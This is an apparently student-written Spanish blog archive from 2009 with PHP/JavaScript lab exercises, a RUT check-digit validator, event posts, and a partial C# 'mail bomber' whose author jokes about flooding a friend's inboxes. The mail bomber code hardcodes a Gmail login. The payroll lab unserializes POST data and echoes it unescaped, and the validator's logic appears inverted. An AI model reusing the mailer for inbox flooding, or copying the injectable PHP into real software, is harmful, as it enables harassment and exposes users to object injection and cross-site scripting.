Archive

Archive for 30 septiembre 2009

Microsoft Tech-Days 2009 Multi Touch FAIL

septiembre 30, 2009 2 comentarios

En la charla inaugural del evento Tech-Days 2009 se dio una pequeña muestra de las tecnologías…
Aqui un pequeño video de un demo de la tecnología multi touch soportada por windows 7, Vean el final xD

Saludos!

PD: Video Tomado por Neils

Laboratorio JavaScript + PHP [DAI4501]

septiembre 26, 2009 4 comentarios

Este es el laboratorio de Desarollo de Aplicaciones para Internet

Enunciado:

ACTIVIDAD 1DESCRIPCIÓN DEL PROBLEMA

Se desea manejar la información relacionada con los empleados, se
necesita calcular el sueldo líquido de cada empleado el que se
calcula de acuerdo a la siguiente fórmula:

SUELDO_LIQUIDO = SUELDO_BASE – DESCUENTOS_LEGALES – DESCUENTOS_INTERNOS

Los descuentos legales tienen relación con el descuento de salud y
AFP. El descuento por AFP siempre será de un 12.9%, sin embargo,
es posible que el empleado tenga asociado algún seguro y eso
implica un descuento adicional (que se debe agregar al 12.9%).

Por su parte, el descuento de salud tiene relación con el número
de UF asociado al valor del plan contratado por el empleado, esto
en caso de que se encuentre afiliado a una Isapre, en caso
contrario (FONASA) el descuento corresponde al 7%.

Finalmente, los descuentos internos pueden ser de dos tipos:

  • Descuento por sindicato
  • Descuento por pago de cuotas de préstamos

En el caso del descuento por sindicato se debe ingresar el
porcentaje de descuento y en el caso del pago de cuotas de
préstamo se debe ingresar el valor de la cuota.

Se debe llevar un registro de todos los sueldos calculados, para
luego mostrar en una tabla los nombres de los empleados y sus
sueldos.

OBSERVACIONES

  • NO todos los empleados tienen descuentos internos.
  • En caso de que el empleado esté afiliado a una isapre DEBERÁ solicitar el monto de la UF junto al valor en UF del plan.

CONSIDERACIONES

Se va a valorar el hecho de que su interfaz HTML ofrezca controles
del tipo RADIO BUTTON, CHECKBOX, COMBOBOX.

Las validaciones deben ser atendidas en JavaScript y la lógica de
la  aplicación  en  PHP  (usted  decide  si  va  a  trabajar  con  código
embebido o en archivos independientes).

<?PHP
#
#	Empleado
#
class Empleado {
	var $nombre 	='';
	var $rut		='';
	var $sueldoBase	= 0;
	var $descuentos = null;
	public function __construct($rut,$nom,$sueldo) {
		$this->rut = $rut;
		$this->nombre = $nom;
		$this->sueldoBase = $sueldo;
		$this->descuentos = new Descuentos();
	}
	public function getSueldoLiquido() {
		#SUELDO_LIQUIDO = SUELDO_BASE – DESCUENTOS_LEGALES – DESCUENTOS_INTERNOS
		return ($this->sueldoBase - ((is_object($this->descuentos->descuentoLegal)) ? $this->descuentos->descuentoLegal->getDescuento($this->sueldoBase) : $this->descuentos->descuentoLegal) - ((is_object($this->descuentos->descuentoInterno)) ? $this->descuentos->descuentoInterno->getDescuento($this->sueldoBase) : $this->descuentos->descuentoInterno));
	}
}

class Descuentos {
	var $descuentoLegal = 0;
	var $descuentoInterno = 0;
}
class DescuentoLegal {
	var $afp 	= 0;
	var $salud	= 0;
	//var $seguro	=	0;
	public function __construct($afp=null,$salud=null) {
		$this->afp 		= $afp;
		$this->salud 	= $salud;
	}
	public function getDescuento($sueldo) {
		return (((is_object($this->afp)) ? $this->afp->getDescuento($sueldo) : $this->afp) + ((is_object( $this->salud)) ?  $this->salud->getDescuento($sueldo) :  $this->salud));
	}
}
class DescuentoInterno {
	var $sindicato 	= 0;
	var $cuotas		= 0;
	public function __construct($sin=null,$cuo=null) {
		$this->sindicato 		= $sin;
		$this->cuotas 			= $cuo;
	}
	public function getDescuento($sueldo) {
		if($this->sindicato != null) {
			return (($sueldo * $this->sindicato) / 100);
		} else if($this->cuotas != null) {
			return $this->cuotas;
		}
		return 0;
	}
}
class AFP {
	var $porcentaje	= 12.9;
	var $seguro		= 0;
	public function __construct($seguro=0) {
		$this->seguro = $seguro;
	}
	public function getDescuento($sueldo) {
		if($sueldo > 0) {
				return	(($sueldo * $this->porcentaje) /100) + $this->seguro;
		}
		return 0;
	}
}
#
#	Salud
#
class Isapre {
	var $valor_plan	= 0;
	var $valor_uf	= 0;
	public function __construct($vp=0,$vu=0) {
		$this->valor_plan 	= $vp;
		$this->valor_uf 	= $vu;
	}
	public function getDescuento($sueldo) {
		return ($this->valor_plan * $this->valor_uf);
	}
}
class Fonasa {
	var $porcentaje	= 7;
	public function getDescuento($sueldo) {
		if($sueldo > 0) {
				return	(($sueldo * $this->porcentaje) /100);
		}
		return 0;
	}
}
	if (isset($_POST['listaEmpleados'])){
		$lista = unserialize($_POST["listaEmpleados"]);
	}
	else{
		$lista=array();
	}

	#
	#	Agregar Empleado
	#
	if(isset($_POST['enviar'])) {
		/*
			Datos Empleado
		*/
		$nombre = $_POST['nombre'];
		$rut 	= $_POST['rut'];
		$dv 	= $_POST['dv'];
		$sueldo = $_POST['sueldoBase'];
		$nuevo_empleado = new Empleado($rut.'-'.$dv,$nombre,$sueldo);
		/*
			Datos Descuentos Legales
		*/
		$nuevo_empleado->descuentos->descuentoLegal = new DescuentoLegal(null,null);
		$nuevo_empleado->descuentos->descuentoInterno = new DescuentoInterno(null,null);
		if(isset($_POST['chk_afp'])) {
			//12.9% del sueldo
			$nuevo_empleado->descuentos->descuentoLegal->afp = new AFP(0);
			if(isset($_POST['chk_seguro'])) {
				$valor_adicional	= $_POST['valor_seguro'];
				//12.9% del sueldo + $valor_adicional
				$nuevo_empleado->descuentos->descuentoLegal->afp->seguro = $valor_adicional;
			}
		} 

		$desc_salud	= $_POST['salud'];
		if($desc_salud == 1) {
			//Isapre
			$monto_uf 	= $_POST['monto_uf'];
			$valor_plan	= $_POST['valor_plan'];
			//$nuevo_empleado->descuentos->salud = new Isapre($valor_plan,$monto_uf);
			$nuevo_empleado->descuentos->descuentoLegal->salud = new Isapre($valor_plan,$monto_uf);
		} else if($desc_salud == 0) {
			//FONASA, Descuento del 7% del sueldo
			$nuevo_empleado->descuentos->descuentoLegal->salud = new Fonasa();
		}

		$desc_interno	= $_POST['group1'];
		if($desc_interno == "1") {
			$desc_internos	= $_POST['internos'];
			if($desc_internos == 0) {
				//Sindicato
				$perc_descuento = $_POST['per_desc'];
				echo $perc_descuento;
				$nuevo_empleado->descuentos->descuentoInterno->sindicato = $perc_descuento;
			} else if($desc_internos == 1) {
				//Cuotas
				$valor_cuota = $_POST['val_cuota'];
				$nuevo_empleado->descuentos->descuentoInterno->cuotas = $valor_cuota;
			}
		} else {
			//Sin descuentos internos
		}

		$lista[] = $nuevo_empleado;	

	}

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>Laboratorio JS-PHP</title>
        <style type="text/css">
		.error {
			background-color: #FFEBE8;
			border-color: #CC0000;
		}
		html {
			font-size:13px;
		}
		h1 {
			font-size:13px;
			font-weight:bold;
		}
		input {
			-moz-background-clip:border;
			-moz-background-inline-policy:continuous;
			-moz-background-origin:padding;
			background:#FBFBFB none repeat scroll 0 0;
			border:1px solid #E5E5E5;
			font-size:13px;
			margin-right:6px;
			padding:3px;
		}
		table.empleados {
			width: 580px;
			background-color: #fafafa;
			border: 1px #000000 solid;
			border-collapse: collapse;
			border-spacing: 0px;
		}
		table thead {
			background-color: #99CCCC;
			border: 1px #000000 solid;
			font-family: Verdana;
			font-weight: bold;
			font-size: 12px;
			color: #404040;
		}
		table td {
			border-bottom: 1px #6699CC dotted;
			text-align: left;
			font-family: Verdana, sans-serif, Arial;
			font-weight: normal;
			font-size: .7em;
			color: #404040;
			background-color: #fafafa;
			padding-top: 4px;
			padding-bottom: 4px;
			text-align: center;
		}
		</style>
		<script type="text/javascript">
			function showHide(obj) {
				if(document.getElementById(obj).style.display == 'none') { mostrar(obj); }
				else { ocultar(obj); }
			}
			function mostrar(obj) { document.getElementById(obj).style.display = 'block'; }
			function ocultar(obj) {
				document.getElementById(obj).style.display = 'none';
				document.getElementById(obj).value = '';
			}
			function crearElemento(prop) {
				elem = document.createElement(prop.elemento);
				for (var key in prop.atributos) { eval("elem."+key+" = '"+prop.atributos[key]+"';"); }
				return elem;
			}
			function isLegal(obj) {
				if(document.getElementById(obj).innerHTML.length == 0) {
					p = crearElemento({elemento: 'p',atributos: { innerHTML: '% de Descuento Adicional: '}});
					input = crearElemento({elemento: 'input',atributos: { type: 'text',name: 'valor_seguro',id: 'valor_seguro',size: 2, maxlength: 3 }});
					input.onkeypress = 	function(e) { return isNumberKey((window.event || e),'46'); };
					p.appendChild(input);
					document.getElementById(obj).appendChild(p);
				} else {
					document.getElementById(obj).innerHTML = '';
				}
			}
			function isIsapre(numero) {
				if(numero == 1) {
					p = crearElemento({elemento: 'p',atributos: { innerHTML: 'Monto de la UF: '}});
					input = crearElemento({elemento: 'input',atributos: { type: 'text',name: 'monto_uf',id: 'monto_uf'}});
					input.onkeypress = 	function(e) { return isNumberKey((window.event || e),null); };
					p.appendChild(input);
					document.getElementById('valor_isapre').appendChild(p);

					p = crearElemento({elemento: 'p',atributos: { innerHTML: 'Valor en UF del plan: '}});
					input = crearElemento({elemento: 'input',atributos: { type: 'text',name: 'valor_plan',id: 'valor_plan'}});
					input.onkeypress = 	function(e) { return isNumberKey((window.event || e),null) ; };
					p.appendChild(input);
					document.getElementById('valor_isapre').appendChild(p);
				} else {
					document.getElementById('valor_isapre').innerHTML = '';
				}
			}
			function isNumberKey(evt,chr) {
				var charCode = (evt.which) ? evt.which : event.keyCode;
				if(chr != null) { if(charCode == chr) return true; }
				if (charCode > 31 && (charCode < 48 || charCode > 57)) return false;
				return true;
			}
			function isDescuentoAdicional(numero) {
				document.getElementById('internos').innerHTML = '';
				if(numero == 1) {
					select = crearElemento({elemento: 'select',atributos: { name: 'internos',id: 'internos'}});
					option = crearElemento({elemento: 'option',atributos: { value: '-1',innerHTML: 'Selecciona el Descuento Adicional'}});
					select.appendChild(option);
					option = crearElemento({elemento: 'option',atributos: { value: '0',innerHTML: 'Sindicato'}});
					select.appendChild(option);
					option = crearElemento({elemento: 'option',atributos: { value: '1',innerHTML: 'Cuotas'}});
					select.appendChild(option);
					document.getElementById('internos').appendChild(select);
					div = crearElemento({elemento: 'div',atributos: { id: 'valoresAdicionales'}});
					document.getElementById('internos').appendChild(div);
					select.onchange = 	function(){
										document.getElementById('valoresAdicionales').innerHTML = '';
											switch(this.value) {
												case ('0' || 0) :
													p = crearElemento({elemento: 'p',atributos: { innerHTML: 'Porcentaje de Descuento: '}});
													input = crearElemento({elemento: 'input',atributos: { type: 'text',name: 'per_desc',id: 'per_desc'}});
													input.onkeypress = 	function(e) { return isNumberKey((window.event || e),'46'); };
													p.appendChild(input);
													document.getElementById('valoresAdicionales').appendChild(p);
													break;
												case ('1' || 1) :
													p = crearElemento({elemento: 'p',atributos: { innerHTML: 'Valor Cuota: $'}});
													input = crearElemento({elemento: 'input',atributos: { type: 'text',name: 'val_cuota',id: 'val_cuota'}});
													input.onkeypress = 	function(e) { return isNumberKey((window.event || e),null); };
													p.appendChild(input);
													document.getElementById('valoresAdicionales').appendChild(p);
													break;
											}
										};
				} else {
					document.getElementById('internos').innerHTML = '';
				}
			}
			function validarRut(numero,dv) {
				if(!isNaN(numero) || numero.length == 0 || numero.length > 8 )  {
					return false;
				} else {
					if(getDV(numero) == dv) return true;
				}
				return false;
			}
			function getDV(numero) {
				nuevo_numero = numero.toString().split("").reverse().join("");
				for(i=0,j=2,suma=0; i < nuevo_numero.length; i++, ((j==7) ? j=2 : j++)) {
					suma += (parseInt(nuevo_numero.charAt(i)) * j);
				}
				n_dv = 11 - (suma % 11);
				return ((n_dv == 11) ? 0 : ((n_dv == 10) ? "K" : n_dv));
			}
			function isVacio(q) {
				for ( i = 0; i < q.length; i++ ) {
					if (q.charAt(i) != " ") return false;
				}
				return true;
			}
			function isNumeric(valor) {
				return (isNaN(valor)) ? false : true;
			}
			function cleanClass(form) {
				for(i=0; i <form.length; i++) { form[i].className = ""; }
			}
			function validarTodo(form) {
				cleanClass(form);
				var malos = new Array();
				j=0;
				var inputs = form.getElementsByTagName("input");
				for(i=0; i < inputs.length; i++) {
					if(inputs[i].type == "text") { if(inputs[i].value.length == 0) { malos[j++] = inputs[i].id; } }
				}
				var selects = form.getElementsByTagName("select");
				for(i=0; i < selects.length; i++) {
					if(selects[i].value == "-1") { malos[j++] = selects[i].id; }
				}
				return ((malos.length > 0) ? malos : true);
			}
			function send(obj) {
				isValid = validarTodo(obj);
				if(isValid == true) {
					return true;
				} else {
					for(i=0; i < isValid.length; i++) { eval("obj."+isValid[i]+".className='error';"); }
				}
				return false;
			}
			function enableSeguro(obj) {
				if(obj.checked) {
					document.getElementById('chk_seguro').disabled = false;
				} else {
					//Deshabilita
					document.getElementById('chk_seguro').disabled = true;
					document.getElementById('chk_seguro').checked = false;
					document.getElementById('descuento_legal').innerHTML = '';
				}
			}
        </script>
    </head>
    <body>
		<div style="float: left; width: 300px;">
			<h1>Ingresar Empleados</h1>
			<form id="formularioAgregar" method="POST" onsubmit="return send(this);">
				<?php
					# Guarda la lista en un campo 'oculto'
					echo "<input name='listaEmpleados' type='hidden' value='" . serialize($lista) . "'/>";
				?>
				Rut: <input type="text" id="rut" name="rut" onkeypress="return isNumberKey(event,null);" maxlength="8" size="8" />-<input type="text" name="dv" id="dv" size="1" maxlength="1"/><br />
				Nombre: <input type="text" id="nombre" name="nombre" /><br />
				Sueldo Base: $<input type="text" id="sueldoBase" name="sueldoBase" onkeypress="return isNumberKey(event,null);" /><br />
				<h1>Descuentos Legales</h1>
				<input type="checkbox" id="chk_afp" name="chk_afp" onclick="enableSeguro(this);">AFP<br />
				<input type="checkbox" id="chk_seguro" name="chk_seguro" onclick="isLegal('descuento_legal');"  disabled/>Seguro
				<div id="descuento_legal"></div>
				<div id="descuento_salud">
					<h1>Descuentos de Salud</h1>
					<select id="salud" name="salud" onchange="isIsapre(this.value);">
						<option value="-1">Selecciona el Descuento de Salud</option>
						<option value="2">Sin Prevision</option>
						<option value="0">Fonasa</option>
						<option value="1">Isapre</option>
					</select>
					<br />
					<div id="valor_isapre"></div>
				</div>
				<div id="descuento_interno">
					<h1>Descuentos Internos</h1>
					<input type="radio" name="group1" value="1" onclick="isDescuentoAdicional(this.value);"> Si<br>
					<input type="radio" name="group1" value="0" onclick="isDescuentoAdicional(this.value);" checked> No<br>
					<div id="internos"></div>
				</div>
				<input type="submit" id="enviar" name="enviar" value="Agregar" />
			</form>
		</div>
		<div id="contenido" style="float: left;">
			<h1>Total Empleados: <?PHP echo count($lista); ?></h1>
			<?PHP
			if(count($lista) > 0) {
				echo '<table class="empleados" cellspacing="0"><thead><tr><th>Rut</th><th>Nombre</th><th>Sueldo Base</th><th>Sueldo Liquido</th></tr></thead><tbody>';
				for($i=count($lista)-1; $i >= 0; $i--) {
					echo '<tr><td>'.$lista[$i]->rut.'</td><td>'.$lista[$i]->nombre.'</td><td>'.$lista[$i]->sueldoBase.'</td><td>'.$lista[$i]->getSueldoLiquido().'</td></tr>';
				}
				echo '</tbody></table>';
			}
			?>
		</div>
    </body>
</html>

Comprobar Rut (Digito Verificador) JavaScript

septiembre 25, 2009 6 comentarios
Todos los chilenos o residentes permanente de esta larga y angosta faja de tierra poseemos un número identificatorio único e irrepetible, el llamado Rol Único Tributario o RUT, la entidad estatal responsable de la generación, mantención y actualización del dichoso RUT es el Servicio de Impuestos Internos (SII).
Ahora bien, para asegurar la correcta manipulación del RUT (ya sea verbal o visual) se le añade o agrega un dígito verificador (DV) al final del mismo. ¿Cómo se obtiene el DV?, aplicando una formula aritmética llamada Módulo 11 al RUT. Existen otras alternativas para obtener el DV pero en Chile se usa el Módulo 11.
Así entonces, para verificar que un rut es correcto se debe aplicar el algoritmo del módulo 11 al número (lo que va antes del guión). Por lo tanto, si el resultado de la operación anterior coincide con el Dígito Verificador (DV) el rut es válido.
¿Se entendió?, no importa con el ejemplo se entenderá, eso espero. Antes de ir al ejemplo debo decir que el DV tiene tres (3) reglas fundamentales.
El Dígito Verificador es:
  • igual al resultado si éste está entre 1 y 9
  • K si el resultado es 10 y
  • 0 si el resultado es 11.

Ejemplo de aplicación del Módulo 11

  1. Dado el RUT 12 345 678-5. Llamaremos Número a 12 345 678 y Digito Verificador (DV) a 5
  2. Tomaremos la serie numérica: 2, 3, 4, 5, 6, 7.
  3. Se multiplicará cada dígito del Número por su correspondiente en la serie numérica, la multiplicación la hacemos de derecha a izquierda, si el Número es más largo que la serie se vuelve a comenzar en 2.
  4. Multiplicando
    • 8 x 2 = 16
    • 7 x 3 = 21
    • 6 x 4 = 24
    • 5 x 5 = 25
    • 4 x 6 = 24
    • 3 x 7 = 21
    • 2 x 2 = 4
    • 1 x 3 = 3
  5. La suma de cada multiplicación es: 16+21+24+25+24+21+4+3 = 138
  6. El siguiente paso es dividir este resultado en 11 (por esto se llaman módulo 11). Sólo se toma en cuenta el cuociente entero.
  7. 138 / 11 = 12 el resto es 6. ¿Dudas?, comprobemos la división (11 x 12) + 6 = 132 + 6 = 138, ¡perfecto!.
  8. Ahora sólo nos queda restar el resto (6) a 11, lo cual es: 11 – 6 = 5
  9. El resultado es 5
  10. La primera regla del módulo 11 dice que es el mismo número si éste está en el rango 1-9 entonces el Digito Verificador del Número: 12 345 678 es 5, en consecuencia el RUT dado al inicio del ejemplo es CORRECTO.

Segundo Ejemplo

Ahora lo haremos un poco más rápido: Comprobar si es correcto el RUT: 4 299 006-K.
  • 6 x 2 = 12
  • 0 x 3 = 0
  • 0 x 4 = 0
  • 9 x 5 = 45 + 12 = 57
  • 9 x 6 = 54 + 57 = 111
  • 2 x 7 = 14 + 111 = 125
  • 4 x 2 = 8 + 125 = 133
  • 133 / 11 = 12 resto 1
  • 11 – 1 = 10
  • La segunda regla dice: K si el resultado es 10, en consecuencia el RUT 4 299 006-K es correcto.

Ahora viene la parte del codigo, este codigo lo hice en javascript consta de dos funciones, una obtiene el digito verificador y otra comprueba que el rut ingresado sea corecto.

function validarRut(numero,dv) {
				if(!isNaN(numero) || numero.length == 0 || numero.length > 8 ) {
					return false;
				} else {
					if(getDV(numero) == dv) return true;
				}
				return false;
			}
			function getDV(numero) {
				nuevo_numero = numero.toString().split("").reverse().join("");
				for(i=0,j=2,suma=0; i < nuevo_numero.length; i++, ((j==7) ? j=2 : j++)) {
					suma += (parseInt(nuevo_numero.charAt(i)) * j);	
				}
				n_dv = 11 - (suma % 11);
				return ((n_dv == 11) ? 0 : ((n_dv == 10) ? "K" : n_dv));
			}

Saludos!

Microsoft Tech-Days 2009 Santiago, Chile

septiembre 23, 2009 1 comentario

techDays

Este martes 29 se efectuará en chile , por primera vez, El tech-Day 2009 de microsoft. Las charlas que mas me interesaron fueron:

  • Desarrolla Aplicaciones Web Potentes con ASP.NET y ASP.NET AJAX 4.0
  • SOA simple, robusto y seguro con Windows Communication Foundation 4.0
  • Rich Internet Applications con Silverlight 3, la web a la máxima potencia
  • Cómo Desarrollar Aplicaciones .NET que aprovechen las nuevas características de Windows 7
  • Desarrollo de Gadgets para Windows 7, transformando el escritorio en un canal interactivo
  • Cómo hacer negocios y ganar con Microsoft

Ayá estaré gracias a DuocUC y a David Acevedo, el que propuso al jefe de carrera el viaje a este magno evento.

Saludos!.

Categorías:Eventos Etiquetas: , , ,

Laboratorio Inicio DAI4501 JavaScript

septiembre 23, 2009 1 comentario

Laboratorio JavaScript.

ACTIVIDAD 1 USO DE FUNCIÓN isNaN

Construir una página HTML que contenga una entrada del tipo TEXT y
una del tipo SUBMIT que permita determinar si el valor que se ha
ingresado es un valor numérico.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>Laboratorio JavaScript 01</title>
        <script type="text/javascript">
			function isVacio(q) {  
				for ( i = 0; i < q.length; i++ ) {  
					if (q.charAt(i) != " ") return false;  
				}  
				return true;  
			}  
			function isNumeric(valor) {
				return (isNaN(valor)) ? false : true;
			}
			function valida(valor) {
				if(isVacio(valor)) {
					alert('Ingresa un Valor');
					return false;
				}
				if(isNumeric(valor)) { alert('Es Numero'); } 
				else { alert('No es Numero¡'); }
				return false;
			}
        </script>
    </head>
    <body>
        <form id="formulario" onsubmit="return valida(this.miCadena.value)">
			<input type="text" id="miCadena" /> 
			<input type="submit" id="enviar" value="enviar" />
		</form>
    </body>
</html>

ACTIVIDAD 2USO DE FUNCIONES CON CADENAS DE CARACTERES

Construir una página HTML que contenga una entrada del tipo TEXT y
una del tipo SUBMIT que permita determinar si el valor que se ha
ingresado es palíndrome.

OBS. Una cadena se dice palíndrome cuando su inverso es igual a la
palabra.

FUNCIONES DE UTILIDAD

// Devuelve la cadena sólo en letras minúsculas
cadena.toLowerCase();
// Devuelve un arreglo de caracteres con todas las palabras de ‘cadena’
que se encuentran separadas por “ “
cadena.split(“”);
// Devuelve el reverso de cadena
cadena.reverse();

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>Laboratorio JavaScript 02</title>
        <script type="text/javascript">
			function isVacio(q) {  
				for ( i = 0; i < q.length; i++ ) {  
					if (q.charAt(i) != " ") return false;  
				}  
				return true;  
			}  
			function isPalindrome(pal) {
				var palabra = pal.toLowerCase();
				for(var i=0; i<palabra.length; i++) {
					if(palabra.charAt(i) != palabra.split("").reverse().join("").charAt(i)) return false;
				}
				return true;	
			}
			function comprobar(palabra) {
				if(isVacio(palabra)) {
					alert('Ingresa un Valor');
					return;
				}
				if(isPalindrome(palabra)) { alert('Es Palindrome :D'); } 
				else { alert('No Es Palindrome :('); }
			}
        </script>
    </head>
    <body>
        <form id="formularioB" onsubmit="comprobar(this.palabra.value); return false;">
			<input type="text" id="palabra" /> 
			<input type="submit" id="enviar" value="enviar" />
		</form>
    </body>
</html>

ACTIVIDAD 3USO DE CICLOS

Construir una página HTML que contenga dos entradas del tipo TEXT,
llamadas X e Y, además debe contar una del tipo SUBMIT que permita
imprimir la tabla de multiplicar del valor ingresado en X desde 1
hasta Y. Por ejemplo, suponga que X = 6; Y = 11 deberá generar la
siguiente salida:

6 x 1 = 6
6 x 2 = 12
6 x 3 = 18
6 x 4 = 24
6 x 5 = 30

6 x 11 = 66

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>Laboratorio JavaScript 03</title>
        <script type="text/javascript">
			function isVacio(q) {  
				for ( i = 0; i < q.length; i++ ) {  
					if (q.charAt(i) != " ") return false;  
				}  
				return true;  
			} 
			function isNumeric(valor) {
				return (isNaN(valor)) ? false : true;
			}
			function addHTML(x,y,z) {
				if(isVacio(x) || isVacio(y)) {
					alert('Debes Ingresar los Datos');
					return;
				}
				if(!isNumeric(x) || !isNumeric(y)) {
					alert('Debes Ingresar Solo Numeros');
					return;
				}
				var tr=null;
				document.getElementById(z).innerHTML ='';
				for(i=1; i <= parseInt(y); i++) {
					tr = document.createElement('tr');
						var td = document.createElement('td');
						td.innerHTML = x+" x "+i+" = <b>"+(parseInt(x) * i)+"</b>";
					tr.appendChild(td);
					document.getElementById(z).appendChild(tr);
				}
				
			}
        </script>
    </head>
    <body>
        <form id="formularioB" onsubmit="addHTML(this.x.value,this.y.value,'Multiplicacion'); return false;">
			Entrada A:<input type="text" id="x" /><br /> 
			Entrada B:<input type="text" id="y" /><br /> 
			<input type="submit" id="enviar" value="enviar" />
		</form>
		<table id="Multiplicacion">
			
		</table>
    </body>
</html>

ACTIVIDAD 4GENERACIÓN DE DÍGITO VERIFICADOR

Construir una página HTML que contenga una entrada del tipo TEXT y
una entrada del tipo SUBMIT que permita leer un campo de texto
NUMÉRICO que no EXCEDA los seis (6) caracteres y que CALCULE en un
entrada del tipo TEXT que DEBE ESTAR DESHABILITADA el dígito
verificador asociado al código que se ha ingresado, de acuerdo al
siguiente procedimiento:

Para obtener el dígito verificador se debe aplicar el siguiente
procedimiento. Suponga que se desea generar el dígito verificador de 2504
deberá aplicar el siguiente procedimiento:


COEFICIENTES 3 2 7 6 5 4
* * * * * *
CÓDIGO 2 5 0 4 1 1

Se multiplica cada dígito del código por los coeficientes que
corresponden y luego se suman todas las cantidades. En este caso se
tiene: 6 + 10 + 0 + 24 + 5 + 4 = 49

Luego se debe dividir el 49 por 9 y se debe guardar el RESTO y el dígito
verificador se calcula de acuerdo a la siguiente fórmula:

Dígito Verificador = 9 – RESTO

En el caso del ejemplo el dígito verificador debería ser 5, dado que el
resto de la división entre 49 y 9 es 4 y al realizar la resta se tiene
que el dígito es 5.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>Laboratorio JavaScript 04</title>
        <script type="text/javascript">
			function isNumeric(valor) {
				return (isNaN(valor)) ? false : true;
			}
			function validar(numero) {
				document.getElementById('dv').value ='';
				if(!isNumeric(numero)) {
					alert('Debes Ingresar solo Numeros');
					return;
				}
				if(numero.length != 6) {
					alert('El Numero debe tener un largo de 6 caracteres');
					return;
				}
				var suma=0;
				var numeros = new Array(3,2,7,6,5,4);
				for(var i=0; i < numero.length; i++) {
					suma += parseInt(numero.charAt(i)) * parseInt(numeros[i]);
				}
				document.getElementById('dv').value = (9 - (suma % 9));
			}
        </script>
    </head>
    <body>
        <form id="formularioC" onsubmit="validar(this.x.value); return false;">
			Entrada: <input type="text" id="x" maxlength="6" />-<input type="text" id="dv" maxlength="6" disabled /><br /> 
			<input type="submit" id="enviar" value="enviar" />
		</form>

    </body>
</html>

Saludos!

Categorías:JavaScript Etiquetas: , , , , ,

Evitar que te apaguen el pc Remotamente Linux + Windows

septiembre 14, 2009 9 comentarios

Para a todos aquellos que estan cansados de los ociosos que andan apagando el pc , pueden hacer dos cosas:

  1. Vengarse y dejarle la cagada
  2. Evitar que te hagan eso xD

ajajajja bueno vamos por el camino 2:

Para evitar que se conecten a tu pc via ssh en linux deben colocar este comando en la consola

etc/init.d/ssh stop    lo que hara este comando es parar el servicio ssh y evitar que se conecten a tu pc

y en windows hay dos opciones :

  1. Dejar el firewall sin excepcion (Que no es una solucion concreta)// esto lo pueden hacer mientras hacen la opcion 2 para evitar cualquier apagado mientras configuras el pc.
  2. Ir al panel de control ,  herramientras administrativas , luego directiva de seguridad local, despues vamos a directivas locales, despues a asignacion de derechos de usuario , veremos al costado derecho un monton de directivas buscamos  “Forzar apagado desde  un sistema remoto”, hacen doble click ,  saldra administradores , le hacen click en quitar y listo , aceptar , ya no podran apagar el pc remotamente.

PD: Esta solucion fue encontrada con la ayuda de Christopher Ramirez.
Esto les servirá en el duoc …  !

evitarapagado

IMG:

http://estebanfuentealba.net/blog/wordpress/wp-content/uploads/2009/09/evitarapagado.jpg

Mail Bomber en C# Modo consola

septiembre 14, 2009 7 comentarios

Este es un mail bomber que hice cuando recien estaba aprendiendo a programar en c#

asi que es un caos de codigo… aqui le dejo la clase correo

y las cuentas mandaba a un amigo que se creo como 20 cuentas de gmail ajajjajajaj xD al final la bloquearon todas por abusar del servicio XDDD!! asi que tomen esto como ejemplo , por que asi tal como esta, no les funcionaran….


using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Net;
namespace mailer
{
class ClsCorreo
{

public string EnviarCorreo(string para, string titulo, string contenido,string de,string nombre)
{

System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(de, nombre, System.Text.Encoding.UTF8);
msg.S	ubject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("usuario", "pass");
client.Port = 25;
client.Host = "127.0.0.1";
client.EnableSsl = false;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string send(string para, string titulo, string contenido,string de,string namefalso)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(de, namefalso, System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential();
client.Port = 25;
client.Host = "127.0.0.1";
client.EnableSsl = false;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo3(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 591", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailbomber591", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo2(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
